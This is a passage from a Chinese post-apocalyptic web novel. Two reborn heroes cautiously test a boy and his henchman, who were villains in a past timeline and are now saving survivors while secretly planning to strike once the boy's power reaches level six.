陆燃叹了口气，接着往火苗里扔晶体，烧完一颗就接着扔下一颗，火苗一开始还醒着，没过多久就完全睡过去了。 陆燃：“……” 他深吸了一口气，手一指，把这闹心玩意儿挪出了他的视野。 第47章 第 47 章 狭路相逢 一天过去, 除了一些零星的晶体，陆燃和江朗照旧一无所获。 没找到那个理应在C市的大魔头，也没有找到任何新的幸存者, 于是江朗调转车头朝游乐场酒店开去。 最近他们都不回仓库那边了，太偏远, 仓库剩余的物资也被他们带来了酒店这边, 反正现在全C市的幸存者基本都在这两栋酒店里了。 江朗刚在酒店门口停下车，就看见一个异能者跟小旋风一样地刮了出来： “陈哥！江哥！” 江朗朝他挥挥手：“齐鸣？今天怎么这么兴奋？” 齐鸣一脸神秘地对他们说：“你们肯定不会想到发生了什么事！” 江朗非常捧场地问道：“什么事？” 还没等他话音落下，齐鸣的话早就已经蹦了出来： “我今天在路上被污染物追，然后遇到你们俩之前救的人了！然后他们救了我！你们说是不是很巧？！” 陆燃和江朗脸上齐齐闪过一片迷茫, 他们救的人太多了, 完全不知道齐鸣这是在说谁。 齐鸣很快也意识到了自己这话讲得太不清楚了, 连忙补充：“他们说他们是在医院被救的。” 江朗更加迷茫了, 医院？他和陆燃确实路过过几家医院，但是都零生还者啊。 陆燃倒是立刻反应了过来, 扭头跟江朗解释： “你记不记得……那两个非要报答我, 然后我就只能说那你们去救人吧的人，他们就是我在第一医院救下来的, 之前还在想要去哪里找他们, 没想到倒是能这样撞上。” 江朗瞬间兴奋了起来：“世界可真小！” “走走走！快带我们去见见他！” 江朗的兴奋让齐鸣也更兴奋了，扭头就带他们朝酒店内走去。 “林诗琪！柳寒！快来呀！陈哥江哥他们回来了！” 江朗的脚步顿了一下, 柳寒这名字……怎么这么熟悉呢……不过可能只是同音吧……. 血量。攻击。防御。技能。 也就是说, 这些就是他的“作弊器”能修改的所有内容了。 柳寒从张镇这个自称是他最倚重的下属口中, 了解了一下自己未来异能的模样。 虽然也不会太未来了。 这个叫张镇的人在得知他没拿到那棵不知道什么树的晶体之后, 直接从他的游戏背包里取出了99x3的三级晶体和99x8+57的二级晶体让他立刻升级异能，显然他真的很受不了自己的老大屈居于别人之下。 也显然他的异能真的攻击性很强。 送上门的晶体柳寒当然不会不要，他一边吸收晶体一边听张镇介绍未来, 或者对他来说是曾经的末世。 在那个世界里，柳寒在C市花了一年时间，取走了C市所有上了四级的污染物的晶体——他没有游戏系统，所以对晶体一向是贵精不贵多，毕竟自己从尸体里掏半天找晶体还是太恶心了，一级晶体压根不值得——并将异能等级升到了6。 达到了六级的作弊器已经解锁了全部功能——修改血量，修改防御力和攻击力，修改对手技能。 但是越是后期解锁的功能，限制就越严重。 比如修改血量是他最先解锁的功能，几乎没有任何限制，从血量下限1到血量上限，他想改多少都行。 异能升级也让他能修改的上限越来越高，据张镇说，他们相遇的时候，他的血条已经达到了50w，而且再加上他给子给自己修改的3000防御力，所以不论张镇的异能多么强势，攻击在他身上也只是起到一个给他修脚的作用。 划拉半天，虽然看上去柳寒已经成了个血人，但其实血条只移动了一点点。 攻击力和防御力是第二阶段解锁的，改动就没有那么自由，只能在一定数值内选择，六级的时候最低100最高3000。 技能禁用这一大杀器更是毫无自由度可言，异能六级时解锁，很明确地就是给出了限制，只能禁用一个，后期异能再增长，也没有任何变化。 柳寒有些好奇，他就真的这么信任这个人？这么详细的异能数据全都告诉了他？ 他也这么问了。 张镇连忙摆手：“呃……那倒不是，只是老大你的异能算是……算是人尽皆知的吧，因为大家都很忌惮你，这些数据都是其他人从和你的战斗中测试加计算出来的。” 说到这里他挺起了胸膛：“老大你可是被当Boss刷过很多次的！” 柳寒有些淡淡的滴汗，这值得骄傲的点在哪里。 不过也合理，如果不是已经成了大部分人的眼中钉肉中刺，他怎么想也不会成立一个这么抓眼高调的组织。 张镇：“所以老大你说比你现在强的那个人的异能是什么？” 柳寒：“是一个高级玩家，他是织灵者。” 张镇立刻撇了撇嘴，玩家，呵。 “老大，玩家再强也只会在前期比你强，他们是有等级上限的，而且晶体什么的对他们无用，既提升不了等级也提升不了技能等级，也就是说，他们的实力从进入末世那一刻开始就固化了。” “通常来说，六级异能就是个槛，过了这个节点，异能者就开始比满级玩家强了。” “所以老大你猛猛升级！到六级就去弄死对方！” 柳寒若有所思：“六级吗……” 他倒没有就这么相信张镇如此武断且完全不考虑特例的判断，只是到了六级之后，解锁了禁用技能这一功能后，他倒是确实有和那位碰一碰的可能了。 张镇又递给柳寒一堆晶体：“怎么样老大？有没有要突破的感觉了？” 柳寒稍稍体会了一下，他其实之前异能等级就已经升到了5，毕竟他这一个月勤勤恳恳在C市到处救人杀污染物也不是白救的，只是到5之后，就有种卡级了的感觉，吸收的晶体就如同泥牛入海，都不知道这些吸收的能量是去哪了，总之从5到6所需的能量缺口就像一个巨大的黑洞，无度地将所有能量都吞噬了但又不给出任何东西。 不过有了张镇友情提供（上供）的大批量晶体，他终于又隐隐有了异能等级在增长的感觉，甚至隐隐感受到了那升上六级的界限。 “嗯，快了。” 他简短地给出答复。 张镇猛地握住拳挥了挥：“太好了！恭喜老大重回巅峰！” “不过老大，就算你之前没完全解锁异能的全部功能，也没必要真的按照别人的要求做事吧，这也太憋屈了！” “物竞天择，适者生存，他足够强，自然就有制定规则的权力，我不如他，自然就该照着他的规定做事。” 张镇沉默了一下，他总觉得老大和自己一贯的印象有点差别，但又……好像没什么差别。 “我问你，假设我不按照他的要求去救人，而是按你所谓的随心所欲地在C市杀人，那么有一天他发现自己救下来的人被其他人杀了，会不会觉得这个人是在蔑视他的劳动成果，因此直接击杀这个人？” 张镇：“呃……也有点道理吧。” 柳寒：“没有胜过其他所有人的把握，谈什么做自己想做的事。” 张镇沉默了一会儿，露出了恍然大悟的神情：“我明白了！所以我们一定要将组织做大做强！” 柳寒：…… 算了，难得他心情好看在那一堆晶体的份上想教一下这个不知道哪来的下属明哲保身的道理，但是这人显然是个听不懂人话的，因果关系都分不清…… 他闭上眼，专心吸收剩下的晶体。 就在这时，他听见门外传来一声呼喊： “林诗琪！柳寒！快来呀！陈哥江哥他们回来了！” 柳寒和张镇对视一眼。 他把手中尚未吸收完毕的晶体丢回给张镇，让他放进自己的游戏背包里。 然后率先走了出去。 齐鸣一脸兴奋地迎了上来，猛锤了柳寒和张镇一人一下之后，让到了旁边，让出了身后的陆燃和江朗。 陆燃看见柳寒那张熟悉的脸，给江朗介绍：“这个就是当时医院里那个小孩。” 他说完之后，扭头看向江朗，却看见江朗一脸如临大敌。 陆燃：？ 柳寒挂着乖巧讨好的微笑走上前：“恩人，终于又见到你了，这段时间我和林诗琪——哦，就是那个你让我带上一起行动的织灵者——一直在救人，虽然成效没有他们这边好，但是也救下了不少人，林诗琪回去带大家过来了，一会儿你应该就能看见了。” 说完，他下意识地看了眼张镇，本意是提醒他不要在对方面前露出任何异常，尤其是别瞎喊他“老大”什么的。 但是转过头就发现他提醒晚了。 张镇正一脸如临大敌地看着前方的两人，身体微微紧绷，眼中微露杀气，敌意简直明显到不能更明显。 柳寒脸上的微笑差点崩裂。 幸好那个人没在看这边，他不知道为什么扭过头去了在看他身边的人。 于是他抓紧机会瞪了张镇一眼——他刚刚的话算是都白讲了。 张镇立刻像个鹌鹑一样低下了脑袋，但还是以一种极低的只他们两个人能听见的声音地对柳寒说道：“怎么是这两个大杀器？他们都不是C市出来的啊……难道是吗？” 柳寒心中好奇，但又知道现在不是好奇的时候，只能强行压制住了自己想问话的冲动。 另一边，陆燃压低声音，尽量保持嘴唇不动的姿势问江朗：“怎么了吗？” 江朗记起陆燃之前的锐评，努力地收敛了自己的神情后才同样低声只让声音像细线般从自己的嘴唇中飘出来：“这个人就是那个啊！那个永乐组织的首领！” 陆燃脑袋上缓缓飘出了一个问号：“你确定吗？他非要报答我我才让他去救人的，作为一个邪恶组织的首领，他的道德素质会不会太高了？” 江朗：“……” 他一时间有点怀疑自己的眼睛，还有点怀疑自己的记忆。 一时间，空气中颇有些沉闷的紧张氛围。 被晾在一旁的齐鸣：“咦？你们怎么都不说话了啊？” 于是沉默被瞬间打破。 陆燃回忆了一下刚刚柳寒在说什么：“这段时间辛苦了。” 柳寒羞涩一笑，做足了被老师表扬的好学生样子：“不辛苦，这是我唯一能报答恩人的事了。” 他指了指张镇：“这是我今天刚遇见的幸存异能者，他也想加入到我们的团队中来。” 陆燃随意地瞥了张镇一眼：“哦，可以吧，多一个人多一份力量。” 现在才看见张镇并认出了那张脸的江朗：“……” 这世界到底有哪里不对！ 第48章 第 48 章 要打吗（上） “我绝对没认错人！这个人就是永乐的首领！然后他旁边那个就是他下属啊！异能也很变态, 是罕见的杀伤性空间系异能。” “我不知道他现在的异能等级是多少，但是在我接研究所任务的那段时间，他的异能范围是一个大概10立方米的立方体大小, 这个范围内被攻击对象无处可逃，因为空间系异能就是无死角的打击。” “哦这个是异能范围, 他的攻击范围更广, 因为他的异能是只要他了解对应空间的构造就能使用，所以基本是无限的攻击范围，陌生环境里更是肉眼所及就是攻击范围！” 江朗非常激动地，倒豆子一般地把他记得的情报全都倒了出来, 然后他一顿： “不是, 这两个人到底为什么会在救人啊？” 他挠了挠头, 百思不得其解。 如果不是这一点真的太古怪, 他早就在看见这两人的脸的时候直接出手攻击了——他们俩又不是海边别墅里的那个小孩，有小学生的年纪和脸让他稍作犹豫。 尤其是张镇, 和上一世长得完全一致, 贼眉鼠脸的反派脸。 想到这里，江朗愧疚了一下, 他是不是太以貌取人了？毕竟按照齐鸣所说, 张镇当时也是紧赶慢赶地跑来救他的一员……万一他只是长得像坏人呢…… 不是，所以到底发生了什么才让这两个理应是邪恶大反派的人在救人啊！ 还是说他应该反过来问, 到底发生了什么让两个会救人的人变成了两个邪恶大反派……吗？ 陆燃听着江朗的描述也陷入了沉思。 而且他不觉得末世对人的改变会大到那个程度, 能让两个好人“黑化”成以末世为乐的模样, 所以还是从另一个角度来考虑比较好——“他们会不会在密谋什么？” 江朗思考了一下：“不是没可能, 虽然永乐大部分人没什么脑子，但是他们的首领据说和其他人画风不太一样，是那种……呃, 至少比其他人智商高一些。” 江朗：“可是他们能密谋什么呢？能有什么是值得两个目标就是让末世永远持续下去的人进行一番密谋的呢？” “真要密谋也该在C市搞点事吧？” 江朗越想越觉得大脑打结，他直接坐了下来，狗狗眼看向陆燃：“我们现在怎么办？” 陆燃慢吞吞地回答：“其实最简单的方法就是……把他们抓起来严刑拷打，然后直接问他们的目的是什么就行了。” 江朗：“……” 江朗：“万一他们真的是好人呢？那我们这么一操作，不就成了毁灭他们心中的人性光辉的人了吗？” 陆燃摊手：“但是你也放心不下就让他们这样晃来晃去吧？” 江朗：“确实……” 一想到他们两个可能突然发疯变成前世的两个疯子，然后把他们好不容易救下来的C市的人全杀了，他就有点想直接不管不顾先下手为强。 江朗在这边犹豫要拿这两个人怎么办的时候，柳寒和张镇也在进行密谈。 “这两个人！很危险！但是他们到底为什么会在C市？而且为什么会在救人？他们也不是研究所那边的人啊？” 张镇抓了抓脑门。 柳寒看他半天说不到重点，直接打断了他，提问：“他们的危险表现在哪里？然后在你印象中的行事风格又是怎么样的？” 被精准提问了的张镇连连“哦”了两声，然后开始一条一条回答起来： “陆燃，他的异能非常变态，非常非常变态。” 张镇想起了那时候自己在思考怎么应对C市那棵树时候的吐槽。 那时候他对自己吐槽说——能一次性大面积炮轰整个C市的异能，和能将那棵树的本体毙命于一瞬间，让它压根来不及逃跑的异能相比，哪个更罕见还真不好说。 他觉得自己的异能是能将那棵树的本体毙命于一瞬间的超高攻击性异能，已经非常罕见。 但是陆燃的异能就是前者，能一次性炮轰整个C市的异能。 他深吸了一口气，继续说道：“他是火系异能者，是末世中我所知的异能者中攻击范围最大的，足够覆盖一整个城市，而且不是什么小型城市，就是C市这种大型城市，而且他的火系异能不是什么普通的火，据组织中一个极其擅长生存的成员说，他的火简直就像……呃，那词儿叫什么来着，就是粘上就甩不脱那个词……” 还在上高中所以成语储备量比较靠谱的柳寒：“附骨之疽？” “对对对，就是粘上就完全逃脱不了，不把你烧干净就不罢休，当然一般人也没有逃的机会，直接就被烧死了呗，但是他的异能就是生存方向的，所以他成功跑了几小时终于跑出了陆燃的火的攻击范围，结果发现就算离开了这么远，他身上的火却依旧没有熄灭。” “于是他不得不字面意思上脱了一层皮才离开。” “那之后他顶着脱皮后的血肉痛了好多天，所以一直在骂，我主要也是从他口中了解到的。” “所以老大，如果你要和他对打的话，绝对，绝对要把他那个异能禁了。” 柳寒若有所思地点了点头，他第一次见到陆燃的时候，确实有注意到那个名叫“地狱之火”的异能，那时候他还想着什么样的异能才配得上这样一个名字——现在他终于知道了。 那个人从来没用过这个异能，大概是怕杀伤力太强让C市淹没于火海之中了吧。 好人是这样的，为了别人的生存缩手缩脚，反倒限制了自己的实力发挥。 张镇喝了口矿泉水接着说：“不过他的行踪非常神秘，好像没有什么固定据点，只是到处游荡，其实很少有人知道他是谁，我也是因为组织里那个成员天天骂天天骂，还事无巨细地向我形容了他的长相，让我如果有机会遇上他一定要为他报仇，我才这么清楚的。” “不过他在想什么呢，我怎么可能会为他报仇？” 柳寒眼看着张镇的话头又要偏离正题，即时开口：“那另一个人呢？” 张镇：“那个人……我之前说玩家到了后期就远不如异能者了对吧，但这家伙是个例外……” “他的游戏账号太强了，直到后期也是所有异能者和玩家中数得上号的攻击力，好吧，不止是数得上号，当初研究所被我们重创之后，就非常恬不知耻地开始发悬赏请外援，他就是其中之一，那次我们损失惨重。” 张镇突然打了个哆嗦。 柳寒好奇地看着他的反应，问：“他就那么厉害？” 张镇这才注意到自己的反应：“哦……倒也不是，不，我不是说他不厉害，只是我刚刚抖了一下不是因为他很厉害，只是因为怎么说呢……他有点让我想起老大你。” 柳寒：“？” 张镇陷入了回忆中。 他没有亲眼见过陆燃，但他确实直面过江朗。 而对方最让他印象深刻的，不是他在末世已经见惯了的属于秘术师的技能——《神域》这个游戏里最常见的职业就是秘术师，而几乎所有秘术师都共享一套最优加点和技能选择，所以说实话，他看秘术师的技能都看得有些无聊了。 江朗的游戏账号确实练度逆天到可以让那些他见惯了的技能发挥出他没见过的杀伤力。 但是这并不是他让他印象深刻的理由。 他之所以独独记住了那张脸。 是因为对方浴血走来的姿态。 让他想起了第一次见到老大的时候。 在发现那一群人里能给他们造成最大损伤的人是江朗之后，他立刻将攻击对准了对方。 他自己的攻击力他清楚，空间撕裂之下，没几个人能生还。 但是他就眼睁睁地看着那个人毫无防护地挨了他一下之后，手都没抖一下地完成了他的吟唱，将攻击落下后才转头来看攻击的来源。 那副慢悠悠的样子，简直像是他身上不停流下来的血不属于他一样。 那副淡定的样子，几乎是立刻就让张镇想起了他第一次见到老大的时候，那时候老大也是这样反应慢吞吞的，但是慢吞吞的理由是他丝毫不在意落在他身上的攻击——反正对他都毫无威胁。 江朗的慢吞吞也是同样的理由。 他很快就发现江朗身上那些深不见底的伤口以一种肉眼可见地速度进行了愈合，甚至他攻击的速度都赶不上他愈合的速度！ 而江朗在锁定了他之后，毫不在意地朝他走了过来——虽然秘术师是个远程职业，但显然比张镇这个肉眼距离即是攻击距离的空间系异能者手短。 那一幕给张镇留下了深刻的印象，叫他直到现在都可以清晰地回忆起来。 “嗯，总之这个人有非常夸张的再生异能，老大你和他对战的时候一定要把他这个异能禁了，不然就算伤到了他也没用。” 柳寒点了点头，将张镇给出的信息分门别类地放置在大脑之中。 张镇则还在忍不住纠结别的事： “但是他们俩到底为什么会在C市啊？虽然我也不知道他们本来应该在哪。” “而且这两个人是怎么凑到一起去的……真是奇了怪了，他们俩应该都是独狼才对啊……” “而且他俩为什么在救人？好奇怪，这两人应该都是明哲保身的类型，那个火系异能者行踪不定，压根不在各大基地逗留，江朗更是完全的中立玩家，据说研究所为了请他出手简直下了血本……” 不是，他这重生一次都重生出了些什么奇怪的效果啊？？？ 第49章 第 49 章 要打吗（下） 虽然酒店的被子已经失去了烘干机等设备, 但晒一晒还是睡得比较舒服的，至少比餐风露宿和睡在车子里强。 所以无论是陆燃和江朗，还是柳寒和张镇, 在躺到被子里之后，不论他们的内心如何不平静, 如何心潮翻涌, 如何纠结，都还是舒服地睡了过去。 两小时后，陆燃和江朗准时醒来。 江朗刚睡醒就看见陆燃一脸沉思地坐在床边。 江朗抓了抓他的头毛，反过来开始安慰陆燃：“没事, 车到山前必有路, 反正我们现在实力更强, 选择权在我们手上, 最坏最坏的结局也不过是错杀两个好人……反正，反正！” 江朗握拳, 很努力地想要说服自己这是必要的牺牲, 然后就听见陆燃说： “我没有在思考这件事。” 江朗：“……那你一脸严肃地在想什么？” 陆燃挥了挥手，召唤出他那团小火焰：“在想这玩意儿。” “哦……哈哈。”江朗尬笑了两声, “那确实值得这么严肃哈。” 陆燃：“……” 他是真有些想叹气了, 这团火怎么能吃成这样。 他昨天已经把背包里倒数第二格晶体也喂给它了，现在只剩下他这边一格二级晶体和江朗那边各级晶体各一格备用, 其他的, 从他在仓库取出第一枚污染物的晶体到现在, 收集到的所有晶体, 都进了这团火的肚子里。 他和江朗，不说包圆了C市的全部晶体，至少也没给别人剩多少, 后半个月他没什么事，基本就是坐在车上被江朗载着到处跑当人形探测器，而这些没事做的时间都被他用来吸收晶体了。 但他一枚一枚晶体接连不断地往火里丢，也就让它稍微长大了那么点而已，本来在和江朗做后续计划时，他觉得搞定C市的事之后，随便去哪都一样，找个基地养老而已，顶多就是环境区别。 现在感觉还真不能随便去，他上一世能活到那么后期才死（江朗：……能不能不要提这事QAQ），肯定和这个异能还是有点关系的，不能就这么随意地放弃它的升级。 而且玩家在前期占尽优势，他就该在前期把这优势利用到极致——简单说就是应该趁着现在他还谁都打得过，尽可能地多搜刮一点晶体，为之后过渡到主要使用异能作铺垫。 虽然他很难想象出自己把这个嬉皮笑脸的火作为主要攻击手段的一天。 怎么想那都是一个很绝望的场景。 算了，也许随着异能等级增长，它的智力和性格也能稍微朝着宜人的方向改变吧。 陆燃一脸平板地想着。 总之，由于这团火的存在，他可能需要稍微修正一下之后的计划。 原本他和江朗的计划是救下C市所有能救的人之后直接前往Q市。 现在倒也还是先去Q市，一样先去看看他们那基地建起来了没。 但是现在Q市的优势已经不在于基地建立得大概率最早，至少不全在于基地，而是它的地理位置四通八达，去哪里都很方便。 Q市的基地如果已经建立起来了，那最好，他们在那挂个号，然后以Q市为中心去寻找高级污染物，来喂给他的火……如果没建立起来，那就也是同样的流程。 当然，这一切的前提还是他们得先相明白怎么处理柳寒，毕竟C市这些剩余的幸存者肉眼可见地会以一个团体行动，一想到这个团体里面有一个据说以后会成为大反派的人，就很难安心放他们自己去行动，总有种要么会被团灭，要么会全部被洗脑的感觉。 “……总之，就是这样。” 陆燃把自己的想法大致和江朗说了说。 江朗一脸认真严肃地听完了，问道：“所以之后还是去Q市没变对吧？” 陆燃：“……是的。” 江朗“呼——”地松了口气：“那就好那就好，我之前只查了C市去Q市的路线，去别的地方我都不一定找得到路。” 陆燃：“……” 这是重点吗？！ 楼下突然传来一群人的声音，陆燃和江朗对视一眼，是陌生人的声音。 陆燃快速回忆了一下，沉默了一会儿说：“应该是柳寒和另一个织灵者救下来的人被带过来了。” 现在轮到江朗沉默了。 两个人推开门沿着楼梯朝下走去。 走下楼就看见一群一脸兴奋的人，显然酒店的环境比他们原本居住的地方强。 “恩人！真的是你！” 林诗琪一眼就看见了陆燃，激动地冲到了他面前。 然后一脸骄傲地抬头挺胸：“恩人，我没有让您失望吧！这一个月里，我和柳寒共计救下了96个人，而且没有任何减员。” 陆燃努力回忆了一下，靠对方的装备和印象里那个织灵者对上了号。 林诗琪：“咦，柳寒呢？他不是很想见恩人你的吗？怎么人不见了。” 陆燃：“我们昨天晚上回来的，已经见过他了。” 林诗琪猛地握拳：“可恶！早知道应该拉他一起回去！” 说话间，陆燃和江朗的视线始终没有离开过那些被林诗琪带过来的人。 陆燃一扭头，就看见了江朗满脸复杂的神色。 陆燃很清楚江朗现在的心情，江朗本来就不是那种能做到审判别人尚未做出的事的人，就算知道那两个人未来有可能造成相当多的损害，但是在他们还没做出这些事之前，他说服不了自己先下手为强的。 更何况这些由柳寒和林诗琪救下来的人就在他眼前。 不停地提醒着他，对方有可能……有可能真的是个好人。 他现在大概已经纠结得不行了。 陆燃轻咳一声，看向林诗琪问道：“这段时间你和柳寒一直在一起行动？” 林诗琪点了点头：“嗯！他可厉害了，人还特别好，当时我一个人在超市，差点被围殴，然后他就出现救了我，还跟我说不用谢，都是恩人你叫他来帮忙的。” “他每救一个人都会跟别人讲一遍他救人是因为当初恩人救下了他，然后他想回报，恩人却说如果他真的想要回报的话，就去救别人吧！” “搞得我都有点愧疚了，因为一开始我还自我感觉特别良好来着，觉得我这么努力在救人，我真是个好人之类的，但是柳寒他从来不居功，我就忍不住反思了一下自己，说白了我会去救人也是因为恩人救下了我之后只提了这么一个要求，还给我派来了柳寒这么靠谱又强大的帮手，所以我有什么好居功的呢？” 陆燃很想在这里再次插嘴——我真的没“要求”你们去救人。 但是林诗琪的话太密太快，他完全没找到插.入机会。 “总之我们救下来的其他异能者都知道他们之所以被救都是因为恩人你希望这样救人的行动传递下去，所以他们也很努力。” 陆燃：“……” 他真的没有这个意思。 陆燃看了眼江朗，江朗的纠结显然在林诗琪的叙述中达到了顶峰，于是陆燃打断了林诗琪对柳寒的吹捧： “你还没吃早饭吧，去吃点？就在餐厅。” 林诗琪：“啊？这里还有早饭吃吗？这么好？” 他的注意力瞬间就被这一点拉走了，兴冲冲地回去带着一群人去酒店餐厅了。 江朗心事重重地抬腿跟着朝餐厅走去，虽然他和陆燃在房间里就吃过了，但是反正闲着也是闲着。 刚走进餐厅。 他就看见了让他差点心肌梗塞的一幕。 柳寒，张镇，还有那个他们从海滨别墅里救出来的孩子正坐在一张桌子上吃饭。 他差点都忘了！ 让他记起永乐这个组织的，那个孩子，就在这个酒店里！ 这三个人就这么汇合了，简直就像他的噩梦成真。 陆燃：“……” 他和江朗一块进来的，当然也看见了这一幕。 他一时间有些困惑，难道他们这个组织的人是有什么命定的磁场之类的东西吗？ 酒店里的幸存者这么多，怎么偏偏他们三个坐到了一桌。 与此同时，张镇也在想着同一个问题。 酒店里的人和桌子都这么多！怎么偏偏陈辰星偏偏坐到了他们这桌来！ 他怒视着陈辰星……好吧，他只能做到怒视了两秒。 那个讨人厌的家伙现在还只是一个小学生而已，就算是他也很难做到认真地怒视一个小学生。 而且从对方怯懦的表现来看，怎么看也不像装了个大人的灵魂——看来永乐的重生者依旧只有他一个。 他不再看这张缩小了很多但依旧让人闹心的脸，而是讨好地凑到柳寒身旁小声说： “老大，怎么样？你有想好什么时候动手吗？” 他压根没想过老大会有不动手的可能——老大绝不是那种屈居于人下之人！而且老大现在还有一个组织要光复！为了他们的组织，老大也绝对不会就这么蛰伏下去的！ 虽然柳寒知道张镇对他有诸多误解，但是张镇的问题倒不算问错，而他也已经有了答案。 “等我异能升级到六级的时候吧。” 是的，六级那一刻，就是他出手的一刻。 因为再往上，他的异能就不会有任何质变了。 也就是说，要么他升上六级就能杀死对方，要么以后也永远不能。 没必要浪费更多时间来准备。 “今天一起吧。” 不知何时，陆燃和江朗已经来到了他们这一桌。 张镇悚然一惊，连忙坐直身体——虽然他也不知道自己为什么会有这样的反应。 刚刚吓了他一跳的声音出自陆燃，他似乎在友好地邀请他们同行，甚至在说完后，还挤出了一个应该算是表达友好的微笑。 虽然张镇怎么看怎么觉得那个笑容怎么让人浑身发毛。 如果不是他不想打乱老大的计划提前暴露他和老大的敌意，估计已经下意识用出他的异能来了——这是一种应对危险的本能！本能！ 他警惕地看向一脸诡异笑容笑了比不笑更可怕的陆燃和他身后一脸肃杀的江朗，昨天心中那个疑惑更甚——这两尊大杀器到底为什么在救人？ “好啊，能和恩人同行的话真是太好了。” 张镇脑子里想些有的没有的时间，柳寒已经答应了下来。 “好，我们在这车上等你们，你们吃完过来吧，那辆红色的车就是我们的。” 陆燃说完就和江朗走了出去。 “近距离观察一下吧。” 江朗严肃地点了点头：“好。” 第50章 第 50 章 试探与观察 一辆红色的越野车上, 坐了四个人。 驾驶座的江朗难得面无笑容。 副驾的陆燃因为不想笑所以没回头，并且直接把后视镜扭到了江朗那一边。 后座右边张镇一脸警惕，小心翼翼地盯着陆燃从椅背旁露出来的半截手臂——他很怕对方突然出手, 虽然他知道这种可能性很小，但是他已经在后悔怎么没准备一张C市外的传送卷轴了。 柳寒原本想寒暄一下——运用一下他母亲曾经教他的没话找话技巧, 但是空气中的紧张氛围简直一触即发, 于是他放弃了“今天天气好像很好”这个开头，转而汇报起了这段时间的救人成果。 “……其实那个人有点惹人生气，所以我和林诗琪犹豫过要不要不救他了。” 更精确地说应该是，只有林诗琪犹豫过, 他只是想听上去更像林诗琪这种正常人一点。 “……不过我们想了一下, 我们凭什么决定谁该活下去, 谁不该活下去呢？” 如果真能由他决定就好了。 “所以, 我们还是救下了他，但是我们不希望他影响到其他人, 毕竟这个人这样的性格如果再次遇到危险, 保不好会直接害死其他人。” “所以我和林诗琪把他送到了另一个相对安全的地方让他自己求生了，之后几个我觉得有可能会成为害群之马的人, 也做了同样的处理。” “恩人, 你觉得我做得对吗？” 陆燃：“你们做得很好，但是能不能换个称呼？我不习惯别人这么喊我, 我叫陆燃, 你直接喊这个名字吧。” 柳寒：“好的陆哥, 那陆哥你朋友呢？该怎么称呼？” 江朗快速地吐出自己的名字。 “好的江哥。” 柳寒真诚的笑容如实地被后视镜展现了出来, 看得江朗一阵毛骨悚然又一阵纠结。 毛骨悚然来自他对这张脸之前的印象，纠结来自对方实打实救的那一堆人……还有林诗琪对他的描述——他甚至不愿意将救人的好名声担在自己身上，怎么想都道德标准过高了。 那种一看他就觉得他不是好人的直觉与理性分析他所做的事后觉得他确实是个好人的眼见为实在江朗心中疯狂打架。 车子里很快又陷入了另一阵沉默。 “没人。” 陆燃放完精神链接之后随口说道。 张镇朝柳寒使了个眼色, 示意他来看陆燃的精神链接范围有多广——每个织灵者账号根据练度不同，技能范围都会有差别，陆燃这个精神链接比他先前见过的范围要大一些，看来不管是技能还是装备中的技能范围都拉满了。 柳寒和张镇将陆燃的攻击范围记了下来，他们到时候偷袭的话，一定要站在这个范围以外，这样才能最大化发挥他的空间异能的手长优势。 由于陆燃的判断是没人，所以江朗甚至没有减速，很快就开到了下一片地区。 陆燃：“有两个污染物，在后面那栋楼里。” 江朗刚要动手，张镇就自告奋勇：“我来吧！” 江朗和陆燃对视一眼：“好。” 他们都想看看张镇的异能，陆燃是只听江朗口头描述过，江朗则是虽然上一世和张镇有过战斗，但是那都是几年后的事了，也不知道张镇现在的异能效果和后来是不是完全一致。 张镇观察了一下陆燃所说的污染物在哪，然后下一秒，这两只污染物都瞬间出现在了车窗外，并且脑袋软塌塌地垂了……哦，掉了下来，只剩下脖子上一层光滑的切面，和不断汩汩流出的鲜血。 杀完后顺便取出了污染物中的晶体。 张镇自觉地举手提问：“晶体是两枚都上交还是上交一枚？” 他不知道这两个人暂时建立的这个新组织是什么规则，是全部上交由首领重新分配，还是按比例上交。 陆燃一脸困惑看了他一眼。 江朗：“……” 他越发不信任这两个人了！听听这一开口就涌了出来的匪气！不知道以为这人和他一样在末世生活了十年呢！不对，他在末世生活了十年都没有养成这种思维好吗？！这个人也太自适应了吧？！ 怎么看怎么像是注定要成为反派的人啊！ 冷静……江朗……冷静…… 江朗深呼吸了一口气，对自己说着冷静，想想他也是救人的一员，想想这一点。 陆燃倒是没江朗的这么多想法，困惑之后普通地回答了一句：“为什么要上交？你自己留着就好，谁打的就是谁的。” 张镇有些困惑，但很快开心了起来——那不错！他原本以为，他和老大蛰伏在这两人的组织后，获取晶体的速度就得大大降低了，没想到这俩人压根不要求组织成员上交晶体（多蠢啊！），那老大很快就能恢复到六级的实力了！ 虽然现在C市剩的污染物也是真不多了……可能也没有很快…… 接下来，张镇积极地接过了所有打怪任务，虽然总共也没收集到几颗晶体，而且都不是什么高级货色，但至少也是收获。 半天下来，江朗和陆燃还是没从这两个人身上看出什么异常。 本来觉得这个张镇有点敌意，但是看久了又觉得他好像只是傻而且对谁都有敌意，非要说的话，更类似于一种野生动物的敌意，他的脑子也确实更像动物而不是人类。 柳寒更是毫无异常，乖巧老实得让江朗完全联系不上末世里那个邪恶组织的老大。 所以过了半天之后，四个人一辆车这种毫无效率的做法终于被摒弃了，柳寒和张镇下了陆燃和江朗的车，自己开另一辆车去别的方向巡逻了。 说是要去巡逻，张镇在看见陆燃和江朗的车消失在视线范围后，直接一转头将车朝海边方向开去了——现在C市市内污染物密度大减，在经过陆燃和江朗几轮洗地式清理后，只有零星的污染物存在。 这些零星的污染物，倒也不光是市外进来的，其实他重生前的那个末世，大家就很奇怪，这污染物怎么杀不光呢……照理说污染物也没有繁殖能力，而有江朗这样的超大范围攻击的异能者虽然不多但也有一些，随着时间过去，污染物应该会逐渐减少到一个“几乎没有”的密度才对，毕竟异能者是不会转化为污染物的，而地狱一点说，末世后期的普通人也是越来越少了，但就是这样的情况下，污染物的密度再低到一定程度之后，却再也低不下去了。 就是会有一些莫名其妙的污染物凭空“出生”。 后来，有两个异能是建墙（一个建土墙，一个建金属墙）的异能者，选定了一块区域把它用异能墙圈了起来，一圈异能墙有近千米高，虽然依旧无法排除会有拥有飞行能力的污染物从千米以上飞进来的可能性，但是一段时间后，异能者们进入墙内调查，发现的污染物的样子和数量怎么也不像是从空中飞进来这种理由可以解释的。 这也是研究所后期重点研究的主题之一，这些多的污染物到底是从哪冒出来的。 总之，C市虽然被陆燃江朗还有其他人来来回回耙了好几遍，却依旧还有污染物存在。 不过这些污染物还是密度太低了，救人是一回事，单纯为了搜集晶体的话当然还是得去海边，海里满坑满谷的污染物啊，运气好没准还能捞到什么高级污染物，升级速度比在这个鬼市中心强多了。 